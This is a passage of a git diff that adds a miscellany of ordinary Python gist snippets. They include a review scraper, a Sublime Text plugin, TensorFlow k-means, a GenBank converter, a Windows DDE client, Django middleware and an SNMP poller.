+        rating = float(ratingtext.split()[0])
+        text = text[startindex:endindex]
+        reviews.append((text, rating))
+    return reviews
+
+# Do something with the data here
+def store_reviews(product_id, reviews, src="amzn"):
+    added_count = 0
+    for (data,rating) in reviews:
+        print "downloaded review len(%s)/rating(%s)" % (len(data), rating)
+        # TODO: process data here
+        #
+        added_count += 1
+    return added_count
+
+
+# Download all reviews for a giving product id (ASIN)
+def download_reviews(product_id):
+    print "download product", product_id
+    while True:
+        url = REVIEW_URL % (product_id, i)
+        print "URL", url
+        reviews = parse_reviews(url)
+        added = store_reviews(product_id, reviews)
+        if added == 0:
+            break
+
+
+def main():
+    asins = get_asin("Books", "machine learning", None)
+    for asin in asins:
+        download_reviews(asin)
+
+
+if __name__=="__main__":
+    main()
diff --git a/hard-gists/2635074/._snippet.py b/hard-gists/2635074/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2635074/._snippet.py differ
diff --git a/hard-gists/2635074/snippet.py b/hard-gists/2635074/snippet.py
new file mode 100644
index 00000000..001f54a3
--- /dev/null
+++ b/hard-gists/2635074/snippet.py
@@ -0,0 +1,24 @@
+import sublime, sublime_plugin
+import os, stat
+
+class MakeExecutable(sublime_plugin.EventListener):
+
+    def on_post_save(self, view):
+
+        filename = view.file_name()
+        ext = os.path.splitext(filename)[1]
+
+        if not ext:
+            shebang = view.substr(sublime.Region(0, 2))
+
+            if shebang == '#!':
+                mode = os.stat(filename)[stat.ST_MODE]
+                mode = mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH
+                os.chmod(filename, mode)
+
+                self.name = os.path.split(filename)[1]
+                sublime.set_timeout(
+                    lambda: sublime.status_message(
+                        "'{0}' is now executable.".format(self.name)
+                    ),
+                    4000)
diff --git a/hard-gists/2636213/._snippet.py b/hard-gists/2636213/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2636213/._snippet.py differ
diff --git a/hard-gists/2636213/snippet.py b/hard-gists/2636213/snippet.py
new file mode 100644
index 00000000..6c9df8a4
--- /dev/null
+++ b/hard-gists/2636213/snippet.py
@@ -0,0 +1,69 @@
+import pymongo
+from mongokit.database import Database
+
+# code copied and adapted from mongokit (3-clause BSD license)
+
+class CallableMixin(object):
+    """
+    brings the callable method to a Document. usefull for the connection's
+    register method
+    """
+    def __call__(self, doc=None, gen_skel=True, lang='en', fallback_lang='en'):
+        return self._obj_class(doc=doc, gen_skel=gen_skel,
+                               collection=self.collection,
+                               lang=lang, fallback_lang=fallback_lang)
+
+
+_iterables = (list, tuple, set, frozenset)
+
+
+class ReplicaSetConnection(pymongo.ReplicaSetConnection):
+    # class to get replset features from pymongo and document from mongokit
+
+    def __init__(self, *args, **kwargs):
+        self._databases = {}
+        self._registered_documents = {}
+        super(ReplicaSetConnection, self).__init__(*args, **kwargs)
+
+    def register(self, obj_list):
+        decorator = None
+        if not isinstance(obj_list, _iterables):
+            # we assume that the user used this as a decorator
+            # using @register syntax or using conn.register(SomeDoc)
+            # we stock the class object in order to return it later
+            decorator = obj_list
+            obj_list = [obj_list]
+        # cleanup
+        for dbname, db in self._databases.items():
+            for colname, col in db._collections.items():
+                for docname, doc in col._documents.items():
+                    del col._documents[docname]
+                for obj_name in [obj.__name__ for obj in obj_list]:
+                    if obj_name in col._registered_documents:
+                        del col._registered_documents[obj_name]
+        # register
+        for obj in obj_list:
+            CallableDocument = type(
+              "Callable%s" % obj.__name__,
+              (obj, CallableMixin),
+              {"_obj_class": obj, "__repr__": object.__repr__}
+            )
+            self._registered_documents[obj.__name__] = CallableDocument
+        # if the class object is stored, it means the user used a decorator and
+        # we must return the class object
+        if decorator is not None:
+            return decorator
+
+    def __getattr__(self, key):
+        if key in self._registered_documents:
+            document = self._registered_documents[key]
+            try:
+                return getattr(self[document.__database__][document.__collection__], key)
+            except AttributeError:
+                raise AttributeError("%s: __collection__ attribute not found. "
+                  "You cannot specify the `__database__` attribute without "
+                  "the `__collection__` attribute" % key)
+        else:
+            if key not in self._databases:
+                self._databases[key] = Database(self, key)
+            return self._databases[key]
\ No newline at end of file
diff --git a/hard-gists/2638485/._snippet.py b/hard-gists/2638485/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2638485/._snippet.py differ
diff --git a/hard-gists/2638485/snippet.py b/hard-gists/2638485/snippet.py
new file mode 100644
index 00000000..c9eedd7e
--- /dev/null
+++ b/hard-gists/2638485/snippet.py
@@ -0,0 +1,38 @@
+import numpy as np
+import numpy.random as npr
+from numpy.linalg import inv, cholesky
+from scipy.stats import chi2
+
+def invwishartrand_prec(nu,phi):
+    return inv(wishartrand(nu,phi))
+
+def invwishartrand(nu, phi):
+    return inv(wishartrand(nu, inv(phi)))
+
+def wishartrand(nu, phi):
+    dim = phi.shape[0]
+    chol = cholesky(phi)
+    #nu = nu+dim - 1
+    #nu = nu + 1 - np.arange(1,dim+1)
+    foo = np.zeros((dim,dim))
+    
+    for i in range(dim):
+        for j in range(i+1):
+            if i == j:
+                foo[i,j] = np.sqrt(chi2.rvs(nu-(i+1)+1))
+            else:
+                foo[i,j]  = npr.normal(0,1)
+    return np.dot(chol, np.dot(foo, np.dot(foo.T, chol.T)))
+    
+    
+if __name__ == '__main__':
+    npr.seed(1)
+    nu = 5
+    a = np.array([[1,0.5,0],[0.5,1,0],[0,0,1]])
+    #print invwishartrand(nu,a)
+    x = np.array([ invwishartrand(nu,a) for i in range(20000)])
+    nux = np.array([invwishartrand_prec(nu,a) for i in range(20000)])
+    print x.shape
+    print np.mean(x,0),"\n", inv(np.mean(nux,0))
+    #print inv(a)/(nu-a.shape[0]-1)
+    
\ No newline at end of file
diff --git a/hard-gists/265a43f255716c11cc62/._snippet.py b/hard-gists/265a43f255716c11cc62/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/265a43f255716c11cc62/._snippet.py differ
diff --git a/hard-gists/265a43f255716c11cc62/snippet.py b/hard-gists/265a43f255716c11cc62/snippet.py
new file mode 100644
index 00000000..1fa7914f
--- /dev/null
+++ b/hard-gists/265a43f255716c11cc62/snippet.py
@@ -0,0 +1,41 @@
+#!/usr/bin/python
+
+import dbus
+import dbus.glib
+import gobject
+import subprocess
+
+
+def lock():
+    print "Screen saver turned on"
+    subprocess.call("pactl set-sink-mute 0 1", shell=True)
+    subprocess.call("xchat -e -c 'AWAY'", shell=True)
+
+
+def unlock():
+    subprocess.call("pactl set-sink-mute 0 0", shell=True)
+    subprocess.call("xchat -e -c 'BACK'", shell=True)
+    print "Screen saver deactivated"
+
+
+def main(args):
+    bus = dbus.SessionBus()
+
+    # listen for changes in screensaver activity
+    bus.add_signal_receiver(
+        lock,
+        'Locked',
+        dbus_interface='com.canonical.Unity.Session')
+
+    bus.add_signal_receiver(
+        unlock,
+        'Unlocked',
+        dbus_interface='com.canonical.Unity.Session')
+
+    mainLoop = gobject.MainLoop()
+    mainLoop.run()
+
+
+if __name__ == '__main__':
+    import sys
+    main(sys.argv[1:])
diff --git a/hard-gists/265e68a5e879b5540ebc/._snippet.py b/hard-gists/265e68a5e879b5540ebc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/265e68a5e879b5540ebc/._snippet.py differ
diff --git a/hard-gists/265e68a5e879b5540ebc/snippet.py b/hard-gists/265e68a5e879b5540ebc/snippet.py
new file mode 100644
index 00000000..5b66703f
--- /dev/null
+++ b/hard-gists/265e68a5e879b5540ebc/snippet.py
@@ -0,0 +1,61 @@
+import tensorflow as tf
+import numpy as np
+import time
+
+N=10000
+K=4
+MAX_ITERS = 1000
+
+start = time.time()
+
+points = tf.Variable(tf.random_uniform([N,2]))
+cluster_assignments = tf.Variable(tf.zeros([N], dtype=tf.int64))
+
+# Silly initialization:  Use the first K points as the starting
+# centroids.  In the real world, do this better.
+centroids = tf.Variable(tf.slice(points.initialized_value(), [0,0], [K,2]))
+
+# Replicate to N copies of each centroid and K copies of each
+# point, then subtract and compute the sum of squared distances.
+rep_centroids = tf.reshape(tf.tile(centroids, [N, 1]), [N, K, 2])
+rep_points = tf.reshape(tf.tile(points, [1, K]), [N, K, 2])
+sum_squares = tf.reduce_sum(tf.square(rep_points - rep_centroids), 
+                            reduction_indices=2)
+
+# Use argmin to select the lowest-distance point
+best_centroids = tf.argmin(sum_squares, 1)
+did_assignments_change = tf.reduce_any(tf.not_equal(best_centroids, 
+                                                    cluster_assignments))
+
+def bucket_mean(data, bucket_ids, num_buckets):
+    total = tf.unsorted_segment_sum(data, bucket_ids, num_buckets)
+    count = tf.unsorted_segment_sum(tf.ones_like(data), bucket_ids, num_buckets)
+    return total / count
+
+means = bucket_mean(points, best_centroids, K)
+
+# Do not write to the assigned clusters variable until after
+# computing whether the assignments have changed - hence with_dependencies
+with tf.control_dependencies([did_assignments_change]):
+    do_updates = tf.group(
+        centroids.assign(means),
+        cluster_assignments.assign(best_centroids))
+
+init = tf.initialize_all_variables()
+
+sess = tf.Session()
+sess.run(init)
+
+changed = True
+iters = 0
+
+while changed and iters < MAX_ITERS:
+    iters += 1
+    [changed, _] = sess.run([did_assignments_change, do_updates])
+
+[centers, assignments] = sess.run([centroids, cluster_assignments])
+end = time.time()
+print ("Found in %.2f seconds" % (end-start)), iters, "iterations"
+print "Centroids:"
+print centers
+print "Cluster assignments:", assignments
diff --git a/hard-gists/2660685/._snippet.py b/hard-gists/2660685/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2660685/._snippet.py differ
diff --git a/hard-gists/2660685/snippet.py b/hard-gists/2660685/snippet.py
new file mode 100644
index 00000000..2910475a
--- /dev/null
+++ b/hard-gists/2660685/snippet.py
@@ -0,0 +1,79 @@
+# requires biopython
+# run like:
+#   genbank_to_tbl.py "my organism name" "my strain ID" "ncbi project id" < my_sequence.gbk
+#   writes seq.fsa, seq.tbl as output
+
+import sys
+from copy import copy
+from Bio import SeqIO
+
+def find_gene_entry(features, locus_tag):
+    for f in features:
+        if f.type == 'gene':
+            if f.qualifiers['locus_tag'][0] == locus_tag:
+                return f
+    print locus_tag
+    raise ValueError
+
+coding = ['CDS', 'tRNA', 'rRNA']
+
+def go():
+    seqid = 0
+    fasta_fh = open("seq.fsa", "w")
+    feature_fh = open("seq.tbl", "w")
+    allowed_tags = ['locus_tag', 'gene', 'product', 'pseudo', 'protein_id', 'gene_desc', 'old_locus_tag']
+    records = list(SeqIO.parse(sys.stdin, "genbank"))
+
+    for rec in records:
+        for f in rec.features:
+            if f.type in coding and 'gene' in f.qualifiers:
+                print f.qualifiers['locus_tag'][0]
+
+                f2 = find_gene_entry(rec.features, f.qualifiers['locus_tag'][0])
+                f2.qualifiers['gene'] = f.qualifiers['gene']
+
+                del f.qualifiers['gene']
+
+    for rec in records:
+        seqid += 1
+
+        if len(rec) <= 200:
+            print >>sys.stderr, "skipping small contig %s" % (rec.id,)
+            continue
+
+#        rec.id = rec.name = "%s%08d" % (sys.argv[4], seqid,)
+
+        circular = rec.annotations.get('molecule', 'linear')
+        rec.description = "[organism=%s] [strain=%s] [topology=%s] [molecule=DNA] [tech=wgs] [gcode=11]" % (sys.argv[1], sys.argv[2], circular)
+        SeqIO.write([rec], fasta_fh, "fasta")
+
+        print >>feature_fh, ">Feature %s" % (rec.name,)
+        for f in rec.features:
+            if f.strand == 1:
+                print >>feature_fh, "%d\t%d\t%s" % (f.location.nofuzzy_start + 1, f.location.nofuzzy_end, f.type)
+            else:
+                print >>feature_fh, "%d\t%d\t%s" % (f.location.nofuzzy_end, f.location.nofuzzy_start + 1, f.type)
+
+            if f.type == 'CDS' and 'product' not in f.qualifiers:
+                f.qualifiers['product'] = ['hypothetical protein']
+
+            if f.type == 'CDS':
+                f.qualifiers['protein_id'] = ["gnl|ProjectID_%s|%s" % (sys.argv[3], f.qualifiers['locus_tag'][0])]
+
+            if f.type in coding:
+                del f.qualifiers['locus_tag']
+
+            for key, vals in f.qualifiers.iteritems():
+                my_allowed_tags = copy(allowed_tags)
+                if 'pseudo' in f.qualifiers:
+                    my_allowed_tags.append('note')
+
+                if key not in my_allowed_tags:
+                    continue
+
+                for v in vals:
+                    if len(v) or key == 'pseudo':
+                        print >>feature_fh, "\t\t\t%s\t%s" % (key, v)
+
+
+go()
diff --git a/hard-gists/2661065/._snippet.py b/hard-gists/2661065/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2661065/._snippet.py differ
diff --git a/hard-gists/2661065/snippet.py b/hard-gists/2661065/snippet.py
new file mode 100644
index 00000000..e0c7f775
--- /dev/null
+++ b/hard-gists/2661065/snippet.py
@@ -0,0 +1,252 @@
+## {{{ http://code.activestate.com/recipes/577654/ (r1)
+#!/usr/bin/env python
+# Send DDE Execute command to running program
+import time
+from ctypes import POINTER, WINFUNCTYPE, c_char_p, c_void_p, c_int, c_ulong, c_char_p
+from ctypes.wintypes import BOOL, DWORD, BYTE, INT, LPCWSTR, UINT, ULONG
+
+# DECLARE_HANDLE(name) typedef void *name;
+HCONV     = c_void_p  # = DECLARE_HANDLE(HCONV)
+HDDEDATA  = c_void_p  # = DECLARE_HANDLE(HDDEDATA)
+HSZ       = c_void_p  # = DECLARE_HANDLE(HSZ)
+LPBYTE    = c_char_p  # POINTER(BYTE)
+LPDWORD   = POINTER(DWORD)
+LPSTR    = c_char_p
+ULONG_PTR = c_ulong
+
+# See windows/ddeml.h for declaration of struct CONVCONTEXT
+PCONVCONTEXT = c_void_p
+
+DMLERR_NO_ERROR = 0
+
+# Predefined Clipboard Formats
+CF_TEXT         =  1
+CF_BITMAP       =  2
+CF_METAFILEPICT =  3
+CF_SYLK         =  4
+CF_DIF          =  5
+CF_TIFF         =  6
+CF_OEMTEXT      =  7
+CF_DIB          =  8
+CF_PALETTE      =  9
+CF_PENDATA      = 10
+CF_RIFF         = 11
+CF_WAVE         = 12
+CF_UNICODETEXT  = 13
+CF_ENHMETAFILE  = 14
+CF_HDROP        = 15
+CF_LOCALE       = 16
+CF_DIBV5        = 17
+CF_MAX          = 18
+
+DDE_FACK          = 0x8000
+DDE_FBUSY         = 0x4000
+DDE_FDEFERUPD     = 0x4000
+DDE_FACKREQ       = 0x8000
+DDE_FRELEASE      = 0x2000
+DDE_FREQUESTED    = 0x1000
+DDE_FAPPSTATUS    = 0x00FF
+DDE_FNOTPROCESSED = 0x0000
+
+DDE_FACKRESERVED  = (~(DDE_FACK | DDE_FBUSY | DDE_FAPPSTATUS))
+DDE_FADVRESERVED  = (~(DDE_FACKREQ | DDE_FDEFERUPD))
+DDE_FDATRESERVED  = (~(DDE_FACKREQ | DDE_FRELEASE | DDE_FREQUESTED))
+DDE_FPOKRESERVED  = (~(DDE_FRELEASE))
+
+XTYPF_NOBLOCK        = 0x0002
+XTYPF_NODATA         = 0x0004
+XTYPF_ACKREQ         = 0x0008
+
+XCLASS_MASK          = 0xFC00
+XCLASS_BOOL          = 0x1000
+XCLASS_DATA          = 0x2000
+XCLASS_FLAGS         = 0x4000
+XCLASS_NOTIFICATION  = 0x8000
+
+XTYP_ERROR           = (0x0000 | XCLASS_NOTIFICATION | XTYPF_NOBLOCK)
+XTYP_ADVDATA         = (0x0010 | XCLASS_FLAGS)
+XTYP_ADVREQ          = (0x0020 | XCLASS_DATA | XTYPF_NOBLOCK)
+XTYP_ADVSTART        = (0x0030 | XCLASS_BOOL)
+XTYP_ADVSTOP         = (0x0040 | XCLASS_NOTIFICATION)
+XTYP_EXECUTE         = (0x0050 | XCLASS_FLAGS)
+XTYP_CONNECT         = (0x0060 | XCLASS_BOOL | XTYPF_NOBLOCK)
+XTYP_CONNECT_CONFIRM = (0x0070 | XCLASS_NOTIFICATION | XTYPF_NOBLOCK)
+XTYP_XACT_COMPLETE   = (0x0080 | XCLASS_NOTIFICATION )
+XTYP_POKE            = (0x0090 | XCLASS_FLAGS)
+XTYP_REGISTER        = (0x00A0 | XCLASS_NOTIFICATION | XTYPF_NOBLOCK )
+XTYP_REQUEST         = (0x00B0 | XCLASS_DATA )
+XTYP_DISCONNECT      = (0x00C0 | XCLASS_NOTIFICATION | XTYPF_NOBLOCK )
+XTYP_UNREGISTER      = (0x00D0 | XCLASS_NOTIFICATION | XTYPF_NOBLOCK )
+XTYP_WILDCONNECT     = (0x00E0 | XCLASS_DATA | XTYPF_NOBLOCK)
+XTYP_MONITOR         = (0x00F0 | XCLASS_NOTIFICATION | XTYPF_NOBLOCK)
+
+XTYP_MASK            = 0x00F0
+XTYP_SHIFT           = 4
+
+TIMEOUT_ASYNC        = 0xFFFFFFFF
+
+def get_winfunc(libname, funcname, restype=None, argtypes=(), _libcache={}):
+    """Retrieve a function from a library, and set the data types."""
+    from ctypes import windll
+
+    if libname not in _libcache:
+        _libcache[libname] = windll.LoadLibrary(libname)
+    func = getattr(_libcache[libname], funcname)
+    func.argtypes = argtypes
+    func.restype = restype
+
+    return func
+
+
+DDECALLBACK = WINFUNCTYPE(HDDEDATA, UINT, UINT, HCONV, HSZ, HSZ, HDDEDATA, 
+                          ULONG_PTR, ULONG_PTR)
+
+class DDE(object):
+    """Object containing all the DDE functions"""
+    AccessData         = get_winfunc("user32", "DdeAccessData",          LPBYTE,   (HDDEDATA, LPDWORD))
+    ClientTransaction  = get_winfunc("user32", "DdeClientTransaction",   HDDEDATA, (LPBYTE, DWORD, HCONV, HSZ, UINT, UINT, DWORD, LPDWORD))
+    Connect            = get_winfunc("user32", "DdeConnect",             HCONV,    (DWORD, HSZ, HSZ, PCONVCONTEXT))
+    CreateStringHandle = get_winfunc("user32", "DdeCreateStringHandleW", HSZ,      (DWORD, LPCWSTR, UINT))
+    Disconnect         = get_winfunc("user32", "DdeDisconnect",          BOOL,     (HCONV,))
+    GetLastError       = get_winfunc("user32", "DdeGetLastError",        UINT,     (DWORD,))
+    Initialize         = get_winfunc("user32", "DdeInitializeW",         UINT,     (LPDWORD, DDECALLBACK, DWORD, DWORD))
+    FreeDataHandle     = get_winfunc("user32", "DdeFreeDataHandle",      BOOL,     (HDDEDATA,))
+    FreeStringHandle   = get_winfunc("user32", "DdeFreeStringHandle",    BOOL,     (DWORD, HSZ))
+    QueryString        = get_winfunc("user32", "DdeQueryStringA",        DWORD,    (DWORD, HSZ, LPSTR, DWORD, c_int))
+    UnaccessData       = get_winfunc("user32", "DdeUnaccessData",        BOOL,     (HDDEDATA,))
+    Uninitialize       = get_winfunc("user32", "DdeUninitialize",        BOOL,     (DWORD,))
+
+class DDEError(RuntimeError):
+    """Exception raise when a DDE errpr occures."""
+    def __init__(self, msg, idInst=None):
+        if idInst is None:
+            RuntimeError.__init__(self, msg)
+        else:
+            RuntimeError.__init__(self, "%s (err=%s)" % (msg, hex(DDE.GetLastError(idInst))))
+
+class DDEClient(object):
+    """The DDEClient class.
+
+    Use this class to create and manage a connection to a service/topic.  To get
+    classbacks subclass DDEClient and overwrite callback."""
+
+    def __init__(self, service, topic):
+        """Create a connection to a service/topic."""
+        from ctypes import byref
+
+        self._idInst = DWORD(0)
+        self._hConv = HCONV()
+
+        self._callback = DDECALLBACK(self._callback)
+        res = DDE.Initialize(byref(self._idInst), self._callback, 0x00000010, 0)
+        if res != DMLERR_NO_ERROR:
+            raise DDEError("Unable to register with DDEML (err=%s)" % hex(res))
+
+        hszService = DDE.CreateStringHandle(self._idInst, service, 1200)
+        hszTopic = DDE.CreateStringHandle(self._idInst, topic, 1200)
+        self._hConv = DDE.Connect(self._idInst, hszService, hszTopic, PCONVCONTEXT())
+        DDE.FreeStringHandle(self._idInst, hszTopic)
+        DDE.FreeStringHandle(self._idInst, hszService)
+        if not self._hConv:
+            raise DDEError("Unable to establish a conversation with server", self._idInst)
+
+    def __del__(self):
+        """Cleanup any active connections."""
+        if self._hConv:
+            DDE.Disconnect(self._hConv)
+        if self._idInst:
+            DDE.Uninitialize(self._idInst)
+
+    def advise(self, item, stop=False):
+        """Request updates when DDE data changes."""
+        from ctypes import byref
+
+        hszItem = DDE.CreateStringHandle(self._idInst, item, 1200)
+        hDdeData = DDE.ClientTransaction(LPBYTE(), 0, self._hConv, hszItem, CF_TEXT, XTYP_ADVSTOP if stop else XTYP_ADVSTART, TIMEOUT_ASYNC, LPDWORD())
+        DDE.FreeStringHandle(self._idInst, hszItem)
+        if not hDdeData:
+            raise DDEError("Unable to %s advise" % ("stop" if stop else "start"), self._idInst)
+            DDE.FreeDataHandle(hDdeData)
+
+    def execute(self, command, timeout=5000):
+        """Execute a DDE command."""
+        pData = c_char_p(command)
+        cbData = DWORD(len(command) + 1)
+        hDdeData = DDE.ClientTransaction(pData, cbData, self._hConv, HSZ(), CF_TEXT, XTYP_EXECUTE, timeout, LPDWORD())
+        if not hDdeData:
+            raise DDEError("Unable to send command", self._idInst)
+            DDE.FreeDataHandle(hDdeData)
+
+    def request(self, item, timeout=5000):
+        """Request data from DDE service."""
+        from ctypes import byref
+
+        hszItem = DDE.CreateStringHandle(self._idInst, item, 1200)
+        hDdeData = DDE.ClientTransaction(LPBYTE(), 0, self._hConv, hszItem, CF_TEXT, XTYP_REQUEST, timeout, LPDWORD())
+        DDE.FreeStringHandle(self._idInst, hszItem)
+        if not hDdeData:
+            raise DDEError("Unable to request item", self._idInst)
+
+        if timeout != TIMEOUT_ASYNC:
+            pdwSize = DWORD(0)
+            pData = DDE.AccessData(hDdeData, byref(pdwSize))
+        #if not pData:
+        #    DDE.FreeDataHandle(hDdeData)
+        #    raise DDEError("Unable to access data", self._idInst)
+        #    # TODO: use pdwSize
+        #    DDE.UnaccessData(hDdeData)
+        #else:
+        #    pData = None
+        #    DDE.FreeDataHandle(hDdeData)
+        return pData
+
+    def callback(self, value, item=None):
+        """Calback function for advice."""
+        print "%s: %s" % (item, value)
+
+    def _callback(self, wType, uFmt, hConv, hsz1, hsz2, hDdeData, dwData1, dwData2):
+        #if wType == XTYP_ADVDATA:
+        from ctypes import byref, create_string_buffer
+
+        dwSize = DWORD(0)
+        pData = DDE.AccessData(hDdeData, byref(dwSize))
+        if pData:
+            item = create_string_buffer('\000' * 128)
+            DDE.QueryString(self._idInst, hsz2, item, 128, 1004)
+            self.callback(pData, item.value)
+            DDE.UnaccessData(hDdeData)
+        return DDE_FACK
+        return 0
+
+def WinMSGLoop():
+    """Run the main windows message loop."""
+    from ctypes import POINTER, byref, c_ulong
+    from ctypes.wintypes import BOOL, HWND, MSG, UINT
+
+    LPMSG = POINTER(MSG)
+    LRESULT = c_ulong
+    GetMessage = get_winfunc("user32", "GetMessageW", BOOL, (LPMSG, HWND, UINT, UINT))
+    TranslateMessage = get_winfunc("user32", "TranslateMessage", BOOL, (LPMSG,))
+    # restype = LRESULT
+    DispatchMessage = get_winfunc("user32", "DispatchMessageW", LRESULT, (LPMSG,))
+
+    msg = MSG()
+    lpmsg = byref(msg)
+    while GetMessage(lpmsg, HWND(), 0, 0) > 0:
+        TranslateMessage(lpmsg)
+        DispatchMessage(lpmsg)
+
+
+#Go
+#if __name__ == "__main__":
+
+    #get connect with server SPnet
+    #dde = DDEClient("Spserver", "G41")
+
+    #while True:
+        #print dde.request("R(56,40)")
+        #time.sleep(1)
+    
+
+
+    #WinMSGLoop()
diff --git a/hard-gists/268379/._snippet.py b/hard-gists/268379/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/268379/._snippet.py differ
diff --git a/hard-gists/268379/snippet.py b/hard-gists/268379/snippet.py
new file mode 100644
index 00000000..bccc7659
--- /dev/null
+++ b/hard-gists/268379/snippet.py
@@ -0,0 +1,47 @@
+from django.core.cache import cache
+from django.conf import settings
+
+from django.contrib.auth.models import User
+
+ONLINE_THRESHOLD = getattr(settings, 'ONLINE_THRESHOLD', 60 * 15)
+ONLINE_MAX = getattr(settings, 'ONLINE_MAX', 50)
+
+def get_online_now(self):
+    return User.objects.filter(id__in=self.online_now_ids or [])
+
+
+class OnlineNowMiddleware(object):
+    """
+    Maintains a list of users who have interacted with the website recently.
+    Their user IDs are available as ``online_now_ids`` on the request object,
+    and their corresponding users are available (lazily) as the
+    ``online_now`` property on the request object.
+    """
+
+    def process_request(self, request):
+        # First get the index
+        uids = cache.get('online-now', [])
+        
+        # Perform the multiget on the individual online uid keys
+        online_keys = ['online-%s' % (u,) for u in uids]
+        fresh = cache.get_many(online_keys).keys()
+        online_now_ids = [int(k.replace('online-', '')) for k in fresh]
+        
+        # If the user is authenticated, add their id to the list
+        if request.user.is_authenticated():
+            uid = request.user.id
+            # If their uid is already in the list, we want to bump it
+            # to the top, so we remove the earlier entry.
+            if uid in online_now_ids:
+                online_now_ids.remove(uid)
+            online_now_ids.append(uid)
+            if len(online_now_ids) > ONLINE_MAX:
+                del online_now_ids[0]
+        
+        # Attach our modifications to the request object
+        request.__class__.online_now_ids = online_now_ids
+        request.__class__.online_now = property(get_online_now)
+        
+        # Set the new cache
+        cache.set('online-%s' % (request.user.pk,), True, ONLINE_THRESHOLD)
+        cache.set('online-now', online_now_ids, ONLINE_THRESHOLD)
\ No newline at end of file
diff --git a/hard-gists/2691939/._snippet.py b/hard-gists/2691939/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2691939/._snippet.py differ
diff --git a/hard-gists/2691939/snippet.py b/hard-gists/2691939/snippet.py
new file mode 100644
index 00000000..c47caa17
--- /dev/null
+++ b/hard-gists/2691939/snippet.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+
+#
+# Script to poll Ethernet interface counters from a SNMP host
+# requires pysnmp and the handy snmpclient library from
+# https://github.com/seveas/python-snmpclient
+#
+# licensed under creative commons CC0 (public domain)
+#
+
+import sys
+import time
+import sched
+
+import snmpclient
+import pysnmp.entity.rfc3413.oneliner.cmdgen as cmdgen
+
+client = snmpclient.SnmpClient('192.168.1.10', [{}])
+generator = cmdgen.CommandGenerator()
+target = cmdgen.UdpTransportTarget((client.host, client.port))
+
+oids = ['IF-MIB::ifHCInOctets.10001', 'IF-MIB::ifHCOutOctets.10002', 'IF-MIB::ifHCOutOctets.10003']
+noids = map(snmpclient.nodeid, oids)
+
+s = sched.scheduler(time.time, time.sleep)
+
+with file(sys.argv[1], 'a') as f:
+    f.write('# start\n')
+
+    def poll(sc):
+        s.enter(1, 1, poll, (s,))
+        val = [time.time()]
+        for noid in noids:
+            error, _, _, binds = generator.getCmd(client.auth, target, noid)
+            if error:
+                raise Exception('FAIL')
+            val.append(int(binds[0][1]))
+
+        val = ','.join(map(str, val))
+        f.write(val)
+        f.write('\n')
+        f.flush()
+        print val
+
+    s.enter(1, 1, poll, (s,))
+    s.run()
\ No newline at end of file
diff --git a/hard-gists/2692786/._snippet.py b/hard-gists/2692786/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2692786/._snippet.py differ
diff --git a/hard-gists/2692786/snippet.py b/hard-gists/2692786/snippet.py
new file mode 100644
index 00000000..0d82fe02
--- /dev/null
+++ b/hard-gists/2692786/snippet.py
@@ -0,0 +1,62 @@
+#Copyright (c) 2012 Vipin Nair <swvist@gmail.com>
+
+#Permission is hereby granted, free of charge, to any person obtaining a copy of
+#this software and associated documentation files (the "Software"), to deal in
+#the Software without restriction, including without limitation the rights to
+#use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+#of the Software, and to permit persons to whom the Software is furnished to do
+#so, subject to the following conditions:
+
+#The above copyright notice and this permission notice shall be included in all
+#copies or substantial portions of the Software.
+
+#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+#SOFTWARE.
+
+
+#Change the values according to your requirement.
+#The generated image will be named 'output' and will be in IMAGES_DIRECTORY
+#after the execution of the script
+
+IMAGES_DIRECTORY	=	'/home/swvist/pics/'
+ROW_IMAGE_COUNT		=	21
+COLUMN_IMAGE_COUNT	=	27
+IMAGE_DIMENSION		=	{ "height" : 50, "width" : 50}
+
+
+#You need not modify anything below this line.
+
+import os
+import Image
+import random
+
+
+#Generates a list with absolute path of all the images in thr IMAGES_DIRECTORY
+piclist = [os.path.join(IMAGES_DIRECTORY,pic) for pic in os.listdir(IMAGES_DIRECTORY)]
+
+#Stores the Image Count
+piccount = len(piclist)
+
+#Shuffles the Image List (piclist)
+random.shuffle(piclist)
+
+#Creates a new image canvas, on which the image tiles will be placed.
+out = Image.new("L",(IMAGE_DIMENSION["width"]*COLUMN_IMAGE_COUNT,IMAGE_DIMENSION["height"]*ROW_IMAGE_COUNT))
+
+#Creates the tiles one by one in a linear fashion
+counter=0
+for i in range(ROW_IMAGE_COUNT):
+	for j in range(COLUMN_IMAGE_COUNT):
+		counter += 1
+		if counter < piccount :
+			print counter
+			out.paste(Image.open(piclist[counter]),(j*IMAGE_DIMENSION["width"],i*IMAGE_DIMENSION["height"]))
+		else:
+			break
+#Saves the image in IMAGES_DIRECTORY with name output
+out.save(IMAGES_DIRECTORY+"output","JPEG")
\ No newline at end of file
diff --git a/hard-gists/2692960/._snippet.py b/hard-gists/2692960/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2692960/._snippet.py differ
diff --git a/hard-gists/2692960/snippet.py b/hard-gists/2692960/snippet.py
